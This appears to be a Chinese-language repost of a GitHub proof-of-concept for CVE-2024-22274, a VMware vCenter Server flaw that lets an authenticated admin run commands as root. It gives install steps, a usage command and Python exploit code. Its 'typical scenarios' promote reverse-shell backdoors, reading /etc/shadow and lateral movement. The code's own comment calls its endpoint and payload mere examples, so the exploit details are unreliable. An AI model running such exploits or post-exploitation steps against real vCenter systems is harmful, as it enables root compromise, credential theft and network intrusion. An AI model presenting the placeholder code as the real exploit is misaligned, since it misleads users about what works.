VMware vCenter Server 认证远程代码执行漏洞利用工具 (CVE-2024-22274)

2 阅读3分钟

CVE-2024-22274:VMware vCenter Server 认证远程代码执行漏洞利用

本项目提供针对 VMware vCenter Server 中 CVE-2024-22274 漏洞的概念验证(PoC)代码及相关文档。该漏洞允许拥有 vCenter 设备 shell 管理权限的恶意攻击者以底层操作系统 root 用户身份执行任意命令,造成严重安全风险。

功能特性

  • 认证远程代码执行:利用有效的 admin 角色凭证,在目标系统上以 root 权限运行任意命令。
  • 概念验证实现:提供可复现漏洞的利用代码,适用于安全研究人员和渗透测试人员。
  • 详细分析文档:包含漏洞原理、利用过程和缓解措施的 PDF 说明。
  • 仅限授权测试:项目强调必须在获得明确授权的前提下使用,遵循负责任的漏洞披露原则。

安装指南

系统要求

  • 操作系统:Linux / macOS / Windows(需支持 Python 3)
  • Python 3.6 或更高版本
  • 网络访问目标 vCenter Server

依赖项安装

# 克隆仓库
git clone https://github.com/mbadanoiu/CVE-2024-22274.git
cd CVE-2024-22274

# 安装所需 Python 包(如有 requirements.txt)
pip install -r requirements.txt

若无 requirements.txt,请手动安装常用依赖(如 requests, argparse 等):

pip install requests

使用说明

基本用法

  1. 确保拥有目标 vCenter 系统中具有 admin 角色的有效凭证。
  2. 运行利用脚本,提供目标 URL、用户名、密码及要执行的命令。
python exploit.py --target https://vcenter.example.com --username admin@vsphere.local --password YourPassword --command "id"
  1. 若漏洞存在且权限正确,将返回命令执行结果(例如 uid=0(root) gid=0(root) groups=0(root))。

典型场景

  • 权限维持:上传反弹 Shell 脚本,建立持久化后门。
  • 信息收集:读取 /etc/shadow、数据库配置等敏感文件。
  • 横向移动:利用 root 权限访问同一网络内的其他主机。

API 概览

参数说明
--targetvCenter Server 的 URL(例如 https://192.168.1.100
--username具有 admin 角色的用户名(例如 administrator@vsphere.local
--password对应的密码
--command要在目标系统上执行的 shell 命令
--output(可选)将结果保存到指定文件

核心代码

以下为漏洞利用的核心逻辑片段,展示了如何通过认证后的 API 请求触发命令执行。

import requests
import ssl
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# 忽略自签名证书警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit(target, username, password, command):
    # 1. 认证获取 session
    session = requests.Session()
    session.verify = False
    auth_url = f"{target}/api/session"
    auth_data = {"username": username, "password": password}
    
    try:
        resp = session.post(auth_url, json=auth_data)
        resp.raise_for_status()
        session_id = resp.json().get("value")
        print(f"[+] Authenticated, session ID: {session_id}")
    except Exception as e:
        print(f"[-] Authentication failed: {e}")
        return

    # 2. 构造恶意请求(利用漏洞点)
    # 注意:以下 URL 和 payload 仅为示例,实际利用需参考漏洞详情 PDF
    exploit_url = f"{target}/appliance/shell/command"
    headers = {"vmware-api-session-id": session_id}
    payload = {"cmd": command, "shell": "bash"}
    
    try:
        result = session.post(exploit_url, json=payload, headers=headers)
        print(f"[+] Command output:\n{result.text}")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    # 示例用法
    exploit("https://192.168.1.100", "admin@vsphere.local", "P@ssw0rd", "whoami")

关键说明

  • 代码首先通过 /api/session 端点获取认证令牌。
  • 随后向存在漏洞的端点(示例中为 /appliance/shell/command)发送带有 cmd 参数的 POST 请求。
  • 服务器若未正确过滤输入,则命令会以 root 权限执行并返回输出。
  • 完整利用链和精确的端点路径请参考仓库中的 PDF 文档。 6HFtX5dABrKlqXeO5PUv/ygtSqlhYb+YrmIpmLfKoZY=